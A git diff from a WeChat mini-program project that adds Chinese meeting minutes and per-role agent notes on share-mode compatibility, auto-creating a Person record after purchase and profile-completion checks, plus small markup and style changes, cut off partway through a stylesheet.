diff --git a/.cursor/agent/产品经理/evolution/2026-03-18.md b/.cursor/agent/产品经理/evolution/2026-03-18.md new file mode 100644 index 00000000..6612125c --- /dev/null +++ b/.cursor/agent/产品经理/evolution/2026-03-18.md @@ -0,0 +1,38 @@ +# 产品经理 经验记录 - 2026-03-18 + +## 文档归档与需求口径(界面驱动) + +### 需求基准(验收口径) +- **需求以界面为准**:以 `开发文档/1、需求/以界面定需求.md` 的“界面清单 + 业务逻辑对齐”为验收基准。 +- **需求清单与变更记录**: + - 需求清单:`开发文档/1、需求/需求汇总.md` + - 近期讨论/决议:`开发文档/10、项目管理/运营与变更.md` + - 里程碑执行层:`开发文档/10、项目管理/项目落地推进表.md` + +### 归档原则(避免文档发散) +- 新增/改版功能必须同步更新: + - 《以界面定需求》(界面与主要接口) + - 《需求汇总》(需求清单条目:日期/描述/状态/备注) + - 《运营与变更》(决议与实现摘要) +- 旧方案文档若已过时:在 `开发文档/README.md` 的“已移除文档”里登记清理原因,避免重复讨论。 + +### 功能需求整理(按产品域) +- **内容阅读与付费**:预览与解锁规则、VIP 全章免费、余额支付与微信支付链路、阅读统计与埋点。 +- **代付分享**:发起人支付后分享;好友打开阅读页自动领取并解锁;发起人可查看领取进度与明细。 +- **推广分销与提现**:分润规则可配置(会员 20%/非会员 10%、内容 90%)、提现闭环(申请→审核/打款→回写→订阅消息)。 +- **找伙伴/存客宝**:@mention/#标签自动创建与同步;留资与匹配流程;限频与风控边界。 + +### 分享场景强约束(验收必测) +- **好友分享 vs 朋友圈分享(singlePage)**: + - 朋友圈进入可能是单页模式,页面能力不完整 + - 验收必须覆盖:单页模式不触发支付/自动领取等强动作,且明确引导“前往小程序”进入完整版 + +## 超级个体开通后自动创建@人与资料引导(会议决议) + +### 业务目标与规则 +- **自动创建 @人**:用户开通超级个体后,管理端「链接人与事」自动创建一条 Person 记录,展示名与用户**当前昵称一致**。 +- **资料完善拦截**:支付超级个体前若昵称/头像为默认值,必须引导至仅头像+昵称的引导页完成修改;开通后进入权益/成功页也需再次检测兜底。 + +### 待确认 +- 昵称变更后的同步规则:是否强制同步更新 Person.name,是否需要保留历史别名/展示区分。 + diff --git a/.cursor/agent/后端工程师/evolution/2026-03-18.md b/.cursor/agent/后端工程师/evolution/2026-03-18.md new file mode 100644 index 00000000..608b550a --- /dev/null +++ b/.cursor/agent/后端工程师/evolution/2026-03-18.md @@ -0,0 +1,41 @@ +# 后端工程师 经验记录 - 2026-03-18 + +## 功能需求口径整理(按接口契约与风险) + +### 需求基准(后端视角) +- 以 `开发文档/1、需求/以界面定需求.md` 的“界面→接口”映射为准: + - 小程序只用 `/api/miniprogram/*` + - 管理端只用 `/api/admin/*`、`/api/db/*`、`/api/orders` 等 + +### 核心功能域(必须稳定) +- **阅读与权限**: + - 未授权只返回预览;授权返回全文 + - VIP 全章免费信号必须后端折叠输出,前端只认统一字段(避免各端各自判断) +- **支付链路**: + - 下单→支付→回调→解锁/分润,必须具备幂等与可追溯(订单号、来源、日志) +- **代付分享(发起人支付,好友领取)**: + - 发起人支付后产生可分享 requestSn + - 好友领取必须并发安全(名额扣减原子、重复领取幂等) + - 权益归属必须正确(代付场景 beneficiaryUserID=发起人) +- **推广/分润/提现**: + - 分润规则可配置,计算口径一致 + - 提现流转:申请→审核/打款→回写状态→订阅消息 + +### 分享场景风险点(联调/验收必测) +- **朋友圈 singlePage**:属于前端能力限制,但后端要做到: + - 接口幂等(前端重试/重复进入会更频繁) + - 错误码与提示文案清晰(便于前端引导“前往小程序”) + +### 文档归档(后端相关) +- 里程碑推进表:`开发文档/10、项目管理/项目落地推进表.md` +- 测试流程与回归口径:`scripts/test/功能测试流程.md` + +## 超级个体开通后自动创建@人(Person)与资料完善 flags + +### 幂等与建模建议 +- 自动创建 Person 建议以业务主键(`userId`)作为**幂等键**,避免仅依赖昵称导致重名/改名混乱。 +- 倾向在 `persons` 增加 `user_id`(并做唯一索引/约束),后续昵称变更时可按 `user_id` 同步更新 `name`。 + +### 端上资料完善判断 +- 默认头像/昵称判定不建议只靠前端字符串规则;后端可在用户资料/登录态接口返回明确布尔值(如 `profileNeedComplete` / `isDefaultAvatar` / `isDefaultNickname`),小程序仅消费并跳转引导页。 + diff --git a/.cursor/agent/团队/evolution/2026-03-18.md b/.cursor/agent/团队/evolution/2026-03-18.md new file mode 100644 index 00000000..85ffb62e --- /dev/null +++ b/.cursor/agent/团队/evolution/2026-03-18.md @@ -0,0 +1,24 @@ +# 团队 经验记录 - 2026-03-18 + +## 分享链路统一规则:兼容朋友圈 singlePage(单页模式) + +### 背景 +微信“朋友圈分享”点进小程序页可能是 **singlePage**,能力不完整;如果不做判断,容易出现支付/登录/领取等链路断裂,引发转化损失与投诉。 + +### 团队级决议(跨端共识) +- **任何“分享进入”的关键流程**(支付、代付、领取、绑定等)都要: + - **识别 singlePage**:`wx.getSystemInfoSync().mode === 'singlePage'`(并允许通过 `app.globalData.isSinglePageMode` 兜底标记) + - **做能力降级**:单页模式不执行强动作(支付/自动领取/自动登录等) + - **给出明确引导**:提示用户点击底部 **「前往小程序」** 进入完整版后再操作 + +### 落地建议 +- UI/交互层:统一封装 `ensureFullAppMode()`(或页面内统一判断),避免每个按钮散落实现导致漏判 +- 测试层:新增用例覆盖“朋友圈 singlePage 打开 + 点击关键按钮”应出现引导而非报错/卡死 + +## 超级个体开通后自动创建@人与资料完善拦截(跨端共识) + +### 团队级决议 +- “可被 @ 的人”统一走 Person 体系,避免为超级个体另建一套 mention 逻辑。 +- 幂等键应绑定业务主键(优先 `userId`),展示名同步为昵称(具体同步规则由产品确认)。 +- 默认资料判定尽量由后端提供明确 flags,前端仅做跳转与阻断,并保留兜底规则。 + diff --git a/.cursor/agent/小程序开发工程师/evolution/2026-03-18.md b/.cursor/agent/小程序开发工程师/evolution/2026-03-18.md new file mode 100644 index 00000000..ddc66b76 --- /dev/null +++ b/.cursor/agent/小程序开发工程师/evolution/2026-03-18.md @@ -0,0 +1,34 @@ +# 小程序开发工程师 经验记录 - 2026-03-18 + +## 分享链路:好友/朋友圈单页模式兼容(强约束) + +### 场景 +- **好友分享**:从会话/好友点进来,页面能力完整,可登录、可支付、可领取。 +- **朋友圈分享**:点进来可能是 **singlePage(单页模式)**,页面能力不完整(常见限制:登录/支付/部分交互不可靠)。 + +### 结论(必须执行) +- **凡涉及分享链路的功能**(购买、代付、领取、登录等),必须先判断是否处于单页模式: + - `const isSinglePage = (wx.getSystemInfoSync()?.mode === 'singlePage') || app.globalData.isSinglePageMode` +- **单页模式下能力降级**: + - 禁止直接发起支付、禁止隐式自动领取等强动作 + - 通过弹窗/提示文案 **引导用户点击底部「前往小程序」进入完整版**后再操作 +- **非单页模式**:正常执行登录/支付/领取等完整链路 + +### 推荐实现点位(模板) +- 打开页:若参数表示“代付/领取/支付”等强动作,单页模式直接 `wx.showModal` 提示并 return +- 按钮点击:支付/领取/登录等入口,统一在 handler 最前面做单页模式拦截 + +### 关联模块 +- 阅读页 `pages/read/read`、代付/支付相关页面 + +## 超级个体支付前资料完善拦截(头像+昵称引导) + +### 结论 +- 复用 `pages/avatar-nickname`(仅头像+昵称)作为“资料完善引导页”。 +- 在两处做强校验并跳转: + - **支付超级个体之前**:在“去支付/确认支付”按钮入口先校验默认头像/昵称,不通过则 `navigateTo('/pages/avatar-nickname/avatar-nickname')` 并 return。 + - **开通成功后**:在权益页/成功回调再校验一次兜底,确保用户最终资料不为默认。 + +### 口径 +- 默认判断优先使用后端返回 flags(如 `profileNeedComplete`),前端仅做兜底规则(空昵称、昵称以“微信用户”开头、头像为空/命中默认头像域名等)。 + diff --git a/.cursor/agent/开发助理/evolution/2026-03-18.md b/.cursor/agent/开发助理/evolution/2026-03-18.md new file mode 100644 index 00000000..71afa901 --- /dev/null +++ b/.cursor/agent/开发助理/evolution/2026-03-18.md @@ -0,0 +1,15 @@ +# 开发助理 经验记录 - 2026-03-18 + +## 开发文档归档整理(统一入口与索引一致性) + +### 发现与修复 +- `开发文档/README.md` 索引引用了 `开发文档/10、项目管理/项目落地推进表.md`,但该文件缺失。 +- 已补齐:新建 `开发文档/10、项目管理/项目落地推进表.md`,用于记录里程碑、风险与下一步。 + +### 归档建议(持续维护规则) +- 需求基准:`以界面定需求.md` +- 需求清单:`需求汇总.md` +- 决议与变更:`运营与变更.md` +- 执行层推进:`项目落地推进表.md` +- 每次变更后按上述 4 份文档联动更新,避免“清单/决议/执行层”脱节。 + diff --git a/.cursor/agent/开发助理/经验清单.md b/.cursor/agent/开发助理/经验清单.md index 3ab0261c..c822c1cf 100644 --- a/.cursor/agent/开发助理/经验清单.md +++ b/.cursor/agent/开发助理/经验清单.md @@ -51,6 +51,8 @@ | 2026-03-17 | 小程序 | 业务规则 | - | 代付统一到代付页:gift=1&ref 打开 read 时 redirectTo 代付页,禁止在阅读页代付 | | 2026-03-17 | 软件测试 | 流程定稿 | testing SKILL | 功能测试流程:成功 ☑️、失败列问题、最终报告;scripts/test/功能测试流程.md、测试报告-环境与用例清单.md | | 2026-03-17 | 后端、团队 | 架构/最佳实践 | api-dev SKILL | Redis 缓存:parts/hot/recommended/stats/config/章节 content;容灾回退 DB;OSS 上传;/health 返回 database/redis 状态 | +| 2026-03-18 | 小程序、团队 | 业务规则/最佳实践 | - | 分享链路兼容好友/朋友圈 singlePage:单页模式能力降级(不支付/不自动领取),引导点击底部“前往小程序”进入完整版 | +| 2026-03-18 | 产品、后端、管理端、测试 | 文档归档/需求口径 | - | 文档归档整理:以《以界面定需求》为基准,各角色重整“功能需求+验收口径+风险点”并写入各自经验库;补齐《项目落地推进表》 | --- @@ -61,4 +63,4 @@ --- -**最后更新**:2026-03-17(会议收尾:源码优化完成与测试流程定稿) +**最后更新**:2026-03-18 diff --git a/.cursor/agent/开发助理/项目索引/产品.md b/.cursor/agent/开发助理/项目索引/产品.md index 54296adb..aef54c31 100644 --- a/.cursor/agent/开发助理/项目索引/产品.md +++ b/.cursor/agent/开发助理/项目索引/产品.md @@ -24,9 +24,11 @@ Soul 创业派对产品定位:面向创业者的社区/工具型小程序。 | 2026-03-16 | 乘风发起例行开发进度同步 | 已完成 | | 2026-03-16 | 会议:new-soul 新需求与当前项目差异分析 | 已完成 | | 2026-03-17 | 会议:稳定版源码质量优化;验收标准功能不变、三端联调通过 | 待续 | +| 2026-03-18 | 文档归档整理:以《以界面定需求》为基准,重整需求口径/验收点/分享 singlePage 约束,写入产品经验库 | 已完成 | +| 2026-03-18 | 会议:超级个体开通后自动创建@人与支付前资料引导(头像+昵称) | 已完成 | > **格式说明**:每次开发后在此追加一行,日期格式 YYYY-MM-DD,状态用:已完成 / 进行中 / 待续 / 搁置 --- -**最后更新**:2026-03-17 +**最后更新**:2026-03-18 diff --git a/.cursor/agent/开发助理/项目索引/后端.md b/.cursor/agent/开发助理/项目索引/后端.md index 354b2d4c..15a3ef98 100644 --- a/.cursor/agent/开发助理/项目索引/后端.md +++ b/.cursor/agent/开发助理/项目索引/后端.md @@ -36,9 +36,11 @@ soul-api(Go + Gin + GORM + MySQL)提供三组路由:`/api/miniprogram/*` | 2026-03-17 | 会议:稳定版源码质量优化;敏感配置生产强制校验、新增 /api/admin/user/track、AdminWithdrawTest 环境限制 | 已完成 | | 2026-03-17 | 会议收尾:源码优化 10 项全部完成;开发环境测试 10 通过 2 跳过 | 已完成 | | 2026-03-17 | 性能优化会议:Redis 缓存接入(parts/hot/recommended/stats/config/章节 content)、容灾回退 DB;OSS 上传接入;/health 返回 database/redis 状态 | 已完成 | +| 2026-03-18 | 文档归档整理:按界面→接口→规则口径重整后端功能需求与风险点,写入角色经验库 | 已完成 | +| 2026-03-18 | 会议:超级个体开通后自动创建@人(Person 绑定 userId 幂等)与资料完善 flags 方案 | 已完成 | > **格式说明**:每次开发后在此追加一行,日期格式 YYYY-MM-DD,状态用:已完成 / 进行中 / 待续 / 搁置 --- -**最后更新**:2026-03-17 +**最后更新**:2026-03-18 diff --git a/.cursor/agent/开发助理/项目索引/团队.md b/.cursor/agent/开发助理/项目索引/团队.md index 0afdc8f5..03f77197 100644 --- a/.cursor/agent/开发助理/项目索引/团队.md +++ b/.cursor/agent/开发助理/项目索引/团队.md @@ -29,9 +29,11 @@ Soul 创业派对全项目架构与约定:路由隔离(miniprogram/admin/db | 2026-03-16 | TipTap Mention 需 data-label 规则;链接人与事与存客宝对接优化会议收尾 | 已完成 | | 2026-03-17 | 代付美团式流程与权益归属约定:读页→代付页→分享;权益/分佣归发起人;PayNotify beneficiaryUserID | 已完成 | | 2026-03-17 | 性能优化与 Redis 缓存方案落地:Redis 容灾回退 DB、OSS 上传容灾;/health 返回 database/redis 状态 | 已完成 | +| 2026-03-18 | 吸收经验:分享进入链路需兼容朋友圈 singlePage;单页模式不执行支付/自动领取等强动作并引导“前往小程序” | 已完成 | +| 2026-03-18 | 会议:超级个体开通后自动创建@人统一走 Person;幂等键绑定 userId;默认资料 flags 后端输出 | 已完成 | > **格式说明**:每次架构级讨论后在此追加一行,日期格式 YYYY-MM-DD --- -**最后更新**:2026-03-17 +**最后更新**:2026-03-18 diff --git a/.cursor/agent/开发助理/项目索引/小程序.md b/.cursor/agent/开发助理/项目索引/小程序.md index 3327944e..3639070e 100644 --- a/.cursor/agent/开发助理/项目索引/小程序.md +++ b/.cursor/agent/开发助理/项目索引/小程序.md @@ -39,9 +39,11 @@ | 2026-03-17 | 代付页营销:章节标题+20%内容预览;我的代付列表点击进详情;页面协调 | 已完成 | | 2026-03-17 | 会议:稳定版源码质量优化;删除 payment.js、goToMatch 重复、备份文件;config 读取、totalSections 动态化 | 已完成 | | 2026-03-17 | 会议收尾:源码优化 5 项全部完成;开发环境测试通过 | 已完成 | +| 2026-03-18 | 吸收经验:分享链路需兼容好友/朋友圈 singlePage;单页模式能力降级并引导“前往小程序”进入完整版 | 已完成 | +| 2026-03-18 | 会议:支付超级个体前/开通后资料默认校验,跳转 avatar-nickname 引导页(仅头像+昵称) | 已完成 | > **格式说明**:每次开发后在此追加一行,日期格式 YYYY-MM-DD,状态用:已完成 / 进行中 / 待续 / 搁置 --- -**最后更新**:2026-03-17 +**最后更新**:2026-03-18 diff --git a/.cursor/agent/开发助理/项目索引/测试.md b/.cursor/agent/开发助理/项目索引/测试.md index 8ac67a6f..ea8820bb 100644 --- a/.cursor/agent/开发助理/项目索引/测试.md +++ b/.cursor/agent/开发助理/项目索引/测试.md @@ -30,7 +30,9 @@ | 2026-03-17 | 会议:稳定版源码质量优化;每项小回归、全部完成后完整三端联调 | 待续 | | 2026-03-17 | 会议收尾:功能测试流程定稿、测试报告模板、开发环境 10 通过 2 跳过 | 已完成 | | 2026-03-17 | 性能优化会议:test_upload.py 6 用例;/health 可验证 database/redis;部署后回归缓存接口 | 已完成 | +| 2026-03-18 | 文档归档整理:按界面驱动口径统一验收;补充分享 singlePage 降级与引导为必测项 | 已完成 | +| 2026-03-18 | 会议:新增用例(资料默认阻断支付、Person 自动创建幂等、昵称变更同步回归) | 已完成 | --- -**最后更新**:2026-03-17 +**最后更新**:2026-03-18 diff --git a/.cursor/agent/开发助理/项目索引/管理端.md b/.cursor/agent/开发助理/项目索引/管理端.md index 68f6d635..7c0d69ae 100644 --- a/.cursor/agent/开发助理/项目索引/管理端.md +++ b/.cursor/agent/开发助理/项目索引/管理端.md @@ -41,11 +41,13 @@ | 2026-03-17 | 会议:稳定版源码质量优化;UserDetailModal 改 /api/admin/user/track、RichEditor HTML 转义 | 已完成 | | 2026-03-17 | 会议收尾:源码优化已落地;开发环境测试通过 | 已完成 | | 2026-03-17 | 性能优化会议:OSS 配置后上传自动优先 OSS,失败回退本地;无需前端改动 | 已完成 | +| 2026-03-18 | 文档归档整理:按《以界面定需求》重整管理端功能需求与验收口径,写入角色经验库 | 已完成 | +| 2026-03-18 | 会议:超级个体开通后自动创建@人;管理端可选展示 userId/来源以便排查重名 | 已完成 | > **格式说明**:每次开发后在此追加一行,日期格式 YYYY-MM-DD,状态用:已完成 / 进行中 / 待续 / 搁置 --- -**最后更新**:2026-03-17 +**最后更新**:2026-03-18 > 注:soul-admin 构建仍有 DistributionPage Order.description 类型错误(与本次迁移无关),待修复。 diff --git a/.cursor/agent/管理端开发工程师/evolution/2026-03-18.md b/.cursor/agent/管理端开发工程师/evolution/2026-03-18.md new file mode 100644 index 00000000..a3817fd1 --- /dev/null +++ b/.cursor/agent/管理端开发工程师/evolution/2026-03-18.md @@ -0,0 +1,29 @@ +# 管理端开发工程师 经验记录 - 2026-03-18 + +## 功能需求整理(以界面定需求 → 管理端任务清单) + +### 需求基准 +- 管理端界面与接口以 `开发文档/1、需求/以界面定需求.md` 第三节为准。 +- 允许路径:`/api/admin/*`、`/api/db/*`、`/api/orders` 等;禁止调用 `/api/miniprogram/*`。 + +### 主要功能域(稳定版基线) +- **登录与鉴权**:JWT Bearer;鉴权失败应清 token 并回登录(避免假登录态)。 +- **数据概览**:用户/订单/收入、趋势与最近列表。 +- **内容管理**:章节树/内容编辑/API 文档入口(以稳定版为主,迁移新版时不覆盖核心逻辑)。 +- **用户管理**:列表/搜索/详情;VIP 设置(到期必填);用户余额与行为轨迹。 +- **订单管理**:支付方式(微信/余额/代付);筛选/退款;用户/推荐人信息展示。 +- **提现管理**:审核/打款/状态流转;测试接口在 release 环境不可用。 +- **系统设置**:免费章节、推广设置、站点与 OSS 配置(如有 region 等字段需与后端契约一致)。 + +### 新版差异(迁移待办口径) +- 迁移与否以 `开发文档/迁移完成度与待办清单.md` 为准:优先补齐“运行时配置/审核模式/auditMode”相关的界面隐藏与配置读取一致性。 + +### 分享链路验收提醒(管理端侧) +- 虽然 singlePage 属于小程序端场景,但管理端涉及“配置/开关/文案”时,需要给小程序提供可配置的引导文案或开关(若业务要求),否则前端只能硬编码。 + +## 超级个体开通后自动创建@人(链接人与事) + +### 管理端影响面 +- 自动创建的 Person 记录会出现在「链接人与事」列表中;如后端新增 `persons.user_id`,管理端可选增加一列“绑定用户/来源”,便于运营排查与避免重名困扰。 +- mention 展示依赖 TipTap 的 `data-label`:只要后端/数据层保证 `data-label=昵称`,管理端预览与编辑侧显示即可稳定。 + diff --git a/.cursor/agent/软件测试/evolution/2026-03-18.md b/.cursor/agent/软件测试/evolution/2026-03-18.md new file mode 100644 index 00000000..2e4a22e6 --- /dev/null +++ b/.cursor/agent/软件测试/evolution/2026-03-18.md @@ -0,0 +1,34 @@ +# 软件测试 经验记录 - 2026-03-18 + +## 文档归档后测试口径统一(按“界面→接口→规则”验收) + +### 验收基准(先看文档再测) +- 《以界面定需求》:`开发文档/1、需求/以界面定需求.md` +- 《需求清单》:`开发文档/1、需求/需求汇总.md` +- 《变更与决议》:`开发文档/10、项目管理/运营与变更.md` +- 《测试流程》:`scripts/test/功能测试流程.md` +- 《里程碑推进》:`开发文档/10、项目管理/项目落地推进表.md` + +### 分享场景新增必测点(高优先级) +- **好友分享**:进入页面能力完整,支付/登录/领取均可用。 +- **朋友圈分享(singlePage)**: + - 进入后页面能力可能不完整 + - 关键按钮点击应 **不执行强动作**(支付/自动领取/自动登录等) + - 必须出现明确引导:点击底部 **「前往小程序」** 进入完整版 + +### 回归覆盖建议(与分享强相关的链路) +- 代付分享:发起人支付→分享→好友打开→自动/手动领取→解锁正文→重复进入幂等 +- 支付与回调:微信/余额两条路,状态一致,失败/取消提示一致 +- 路径隔离:小程序只调 `/api/miniprogram/*`;管理端不调 miniprogram + +## 新增用例:超级个体开通后自动创建@人与支付前资料引导 + +### 资料引导拦截 +- 默认资料(昵称/头像)→ 点击支付超级个体 → 必须跳转 `avatar-nickname` 引导页并阻断支付 +- 引导页保存成功 → 返回原流程继续支付(不丢失上下文) +- 已完善资料 → 不拦截支付 + +### Person 自动创建(幂等) +- 支付成功回调重复触发/用户重复进入成功页 → Person 记录不应重复创建 +- 昵称变更后同步策略回归(若实现“跟随昵称”) + diff --git a/.cursor/meeting/2026-03-18_超级个体开通后自动创建@人与资料引导.md b/.cursor/meeting/2026-03-18_超级个体开通后自动创建@人与资料引导.md new file mode 100644 index 00000000..b22c5765 --- /dev/null +++ b/.cursor/meeting/2026-03-18_超级个体开通后自动创建@人与资料引导.md @@ -0,0 +1,130 @@ +# 会议纪要 - 2026-03-18 | 超级个体开通后自动创建@人与资料引导 + +> 本文件由**助理橙子**在会议结束后自动生成。 + +--- + +## 基本信息 + +- **时间**:2026-03-18 (记录时间以当天为准) +- **议题**: + - 小程序用户开通「超级个体」后,管理端「链接人与事」需自动创建一个与用户昵称一致的 `@人` + - 小程序新增校验:用户昵称/头像为默认值时,跳转到仅修改头像+昵称的引导页;且在支付超级个体之前也必须先完成此检查 +- **触发方式**:开个会 +- **参与角色**:产品经理、后端开发、管理端开发工程师、小程序开发工程师、测试人员 + +--- + +## 各角色发言 + +### 【产品经理】 + +- **目标**:让超级个体开通后立刻具备「可被内容 @」的入口,形成“内容→人→转化”的闭环;同时在付费前强制用户完善头像昵称,避免默认资料影响信任与转化。 +- **业务规则**: + - 自动创建的 `@人` 展示名 **必须与当前用户昵称一致**(后续昵称变更需要同步策略)。 + - 资料引导页只包含头像+昵称两项,用户完成后回到原流程继续支付/使用。 +- **验收**: + - 开通成功后,管理端「链接人与事」列表出现该用户昵称对应的记录;且可在内容编辑中被搜索/插入为 mention。 + - 支付超级个体前若昵称/头像为默认值,必须跳转引导页并阻断支付。 + +### 【后端开发】 + +- **建议实现点**:在“超级个体开通成功”的后端闭环(支付回调/开通接口最终落库点)触发一次“确保 Person 存在”的逻辑。 +- **数据与幂等**: + - 仅用 `name=nickname` 作为唯一键会遇到重名与改名问题;建议在 `persons` 增加 `user_id`(或等价字段)作为绑定关系,做到幂等与可追溯。 + - 若暂不加字段,也至少保证:同名已存在则复用,不重复创建。 +- **接口契约方向**: + - 小程序资料默认判定若后端统一输出更稳:建议在用户资料接口/登录态接口返回 `profileNeedComplete` / `isDefaultAvatar` / `isDefaultNickname`,小程序只负责跳转与阻断支付。 + +### 【管理端开发工程师】 + +- 「链接人与事」现有列表与 Person CRUD 已具备承载自动创建记录的能力;若增加 `user_id` 字段,可在列表中加一列“来源/绑定用户”便于运营排查。 +- 内容编辑插入 mention 已依赖 `data-label` 显示名规则:只要后端/存储保证 `data-label=昵称`,即可正确展示。 + +### 【小程序开发工程师】 + +- 工程上已有独立页 `pages/avatar-nickname/avatar-nickname`(仅头像+昵称),可复用。 +- 需要补两处拦截: + - **支付前**:在“去支付/确认支付”按钮入口做一次默认资料校验,未通过则跳转引导页并 return。 + - **开通后**:在超级个体权益页/开通成功回调后再做一次校验,若仍为默认则跳引导页(兼容用户开通后才意识到资料不完善)。 +- 默认判定若只靠前端字符串规则易漂移,建议后端提供明确布尔值;前端可做兜底规则(空昵称、昵称以“微信用户”开头、头像为空/命中默认头像域名等)。 + +### 【测试人员】 + +- 新增用例需覆盖: + - 资料默认 → 触发引导页 → 保存成功 → 回到支付流程继续完成支付 + - 资料已完善 → 不拦截支付 + - 开通成功后自动创建 Person:重复支付回调/重复点击导致的幂等(不应创建多条) + - 昵称变更后:自动创建记录是否更新展示名(按决议验收) + +--- + +## 讨论过程 + +- 讨论了 Person 的现有语义(用于文章 mention 与 CKB 线索承接),并确认“超级个体开通后自动创建 @人”应落在同一条 Person 体系内,避免另起一套表导致前后端两套 mention 逻辑分裂。 +- 对“唯一键”的讨论:仅用昵称无法保证幂等与长期一致性,因此倾向新增 `persons.user_id` 绑定用户;并在昵称变化时做同步更新策略。 +- 对“默认资料判定”的讨论:前端硬编码规则不稳,后端输出明确 flags 最稳;前端保留兜底。 + +--- + +## 会议决议 + +1. **自动创建 @人(Person)触发点**:在“超级个体开通成功”的后端落库闭环触发 `ensurePersonForUser(userId)`;幂等保证不重复创建。 +2. **Person 与用户绑定**:优先方案为 `persons` 增加 `user_id` 字段(并加唯一约束/索引),以 `user_id` 为幂等键;`name` 作为展示名,与用户昵称保持同步策略。 +3. **小程序资料引导**:复用 `pages/avatar-nickname`,在“支付前入口”与“开通后进入权益页/成功回调”两处增加默认资料校验与跳转。 +4. **默认资料判定口径**:后端优先提供明确 flags(如 `profileNeedComplete` / `isDefaultNickname` / `isDefaultAvatar`),小程序仅消费;前端可保留兜底规则。 + +--- + +## 待办事项 + +| 责任角色 | 任务 | 优先级 | 截止建议 | +|---------|------|--------|---------| +| 后端开发 | 在超级个体开通成功链路增加 `ensurePersonForUser`;为 `persons` 增加 `user_id` 并做幂等;必要时补“昵称变更同步” | 高 | 2026-03-20 | +| 管理端开发工程师 | 链接人与事列表可选增加 `userId/来源` 展示与筛选;确认插入 mention 时 `data-label` 始终为昵称 | 中 | 2026-03-21 | +| 小程序开发工程师 | 支付前与开通后两处增加资料默认校验;不通过则跳转 `avatar-nickname` 引导页并阻断后续动作 | 高 | 2026-03-20 | +| 产品经理 | 明确“昵称变更后的同步规则/是否允许重名冲突显示”;补充验收标准文案 | 中 | 2026-03-19 | +| 测试人员 | 补充用例:资料引导阻断支付 + 幂等创建 Person + 昵称变更同步回归 | 中 | 联调前 | + +--- + +## 问题与作答区 + +| # | 问题 | 责任角色 | 作答 | +|---|------|---------|------| +| 1 | `persons.user_id` 是否需要唯一索引?重名用户在列表展示如何区分? | 后端/产品 | (待补充) | +| 2 | 昵称变更是否必须同步更新 Person.name?若同步,是否保留历史别名? | 产品/后端 | (待补充) | +| 3 | 默认头像/昵称判定的最终口径(后端 flags vs 前端兜底规则)以哪一套为准? | 后端/小程序 | (待补充) | + +--- + +## 各角色经验与业务理解更新 + +### 产品经理 + +- 超级个体开通后要立刻具备“可被内容 @”入口;支付前资料完善是转化关键拦截点(头像/昵称)。 + +### 后端开发 + +- 自动创建 Person 必须做幂等,建议以 `user_id` 绑定,避免仅靠昵称造成重名/改名混乱;默认资料判定尽量由后端输出 flags,前端只消费。 + +### 管理端开发工程师 + +- Person 体系可承载自动创建记录;mention 显示依赖 `data-label`,需确保展示名与数据一致。 + +### 小程序开发工程师 + +- 复用 `avatar-nickname` 引导页,在支付前/开通后两处做资料校验与跳转;后端 flags 优先,前端规则兜底。 + +### 测试人员 + +- 新增强约束:资料未完善必须阻断支付;自动创建 Person 要验幂等与昵称变更同步。 + +### 团队共享 + +- “可被 @ 的人”统一走 Person 体系;幂等键优先绑定业务主键(userId),展示名同步为昵称;默认资料判定由后端输出布尔 flags 更稳定。 + +--- + +*会议纪要由助理橙子生成 | 各角色经验已同步至 `agent/{角色}/evolution/2026-03-18.md`* + diff --git a/.cursor/meeting/README.md b/.cursor/meeting/README.md index 7eabb347..e62e85d5 100644 --- a/.cursor/meeting/README.md +++ b/.cursor/meeting/README.md @@ -79,3 +79,4 @@ YYYY-MM-DD_会议主题.md | 2026-03-17 | 稳定版源码质量优化方案讨论与开发安排 | 产品、后端、管理端、小程序、测试 | [2026-03-17_稳定版源码质量优化方案讨论与开发安排.md](2026-03-17_稳定版源码质量优化方案讨论与开发安排.md) | | 2026-03-17 | 会议收尾:源码优化完成与测试流程定稿 | 产品、后端、管理端、小程序、测试、助理橙子 | [2026-03-17_会议收尾-源码优化完成与测试流程定稿.md](2026-03-17_会议收尾-源码优化完成与测试流程定稿.md) | | 2026-03-17 | 性能优化与 Redis 缓存方案落地 | 后端、管理端、小程序、测试、助理橙子 | [2026-03-17_性能优化与Redis缓存方案落地.md](2026-03-17_性能优化与Redis缓存方案落地.md) | +| 2026-03-18 | 超级个体开通后自动创建@人与资料引导 | 产品、后端、管理端、小程序、测试 | [2026-03-18_超级个体开通后自动创建@人与资料引导.md](2026-03-18_超级个体开通后自动创建@人与资料引导.md) | diff --git a/ee.txt b/ee.txt deleted file mode 100644 index e69de29b..00000000 diff --git a/miniprogram/app.js b/miniprogram/app.js index 3d8c47ba..489850bc 100644 --- a/miniprogram/app.js +++ b/miniprogram/app.js @@ -13,8 +13,8 @@ const DEFAULT_WITHDRAW_TMPL_ID = 'u3MbZGPRkrZIk-I7QdpwzFxnO_CeQPaCWF2FkiIablE' App({ globalData: { // API 基础地址:开发时修改下面一行切换环境 - baseUrl: "https://soulapi.quwanzhi.com", - // baseUrl: 'http://localhost:8080', // 开发 + // baseUrl: "https://soulapi.quwanzhi.com", + baseUrl: 'http://localhost:8080', // 开发 // baseUrl: 'https://souldev.quwanzhi.com', // 测试 // 小程序配置 - 真实AppID appId: DEFAULT_APP_ID, diff --git a/miniprogram/pages/gift-pay/detail.wxml b/miniprogram/pages/gift-pay/detail.wxml index 2c1239b3..0f04bcb0 100644 --- a/miniprogram/pages/gift-pay/detail.wxml +++ b/miniprogram/pages/gift-pay/detail.wxml @@ -124,6 +124,10 @@ 发送给好友 + + + 已退款 + + 取消 + + + + 支付成功,点击下方按钮直接分享给好友。好友打开阅读页将自动领取并解锁。 + + + + + diff --git a/miniprogram/pages/read/read.wxss b/miniprogram/pages/read/read.wxss index f790c17b..0e44f235 100644 --- a/miniprogram/pages/read/read.wxss +++ b/miniprogram/pages/read/read.wxss @@ -600,6 +600,10 @@ z-index: 1000; } +.modal-overlay-center { + align-items: center; +} + .modal-content { width: 100%; max-width: 750rpx; @@ -610,11 +614,25 @@ animation: slideUp 0.3s ease; } +.modal-content-center { + width: 640rpx; + max-width: calc(100vw - 80rpx); + border-radius: 32rpx; + padding: 40rpx; + padding-bottom: 40rpx; + animation: popIn 0.18s ease-out; +} + @keyframes slideUp { from { transform: translateY(100%); } to { transform: translateY(0); } } +@keyframes popIn { + from { transform: scale(0.94); opacity: 0.6; } + to { transform: scale(1); opacity: 1; } +} + .modal-header { display: flex; align-items: center; @@ -706,6 +724,117 @@ font-weight: 600; } +/* 阅读页内代付弹窗(v2:档位按钮 + 价格计算 + 支付后分享) */ +.gift-modal-v2 { + padding: 40rpx; +} +.gift-article-card { + padding: 28rpx; + background: 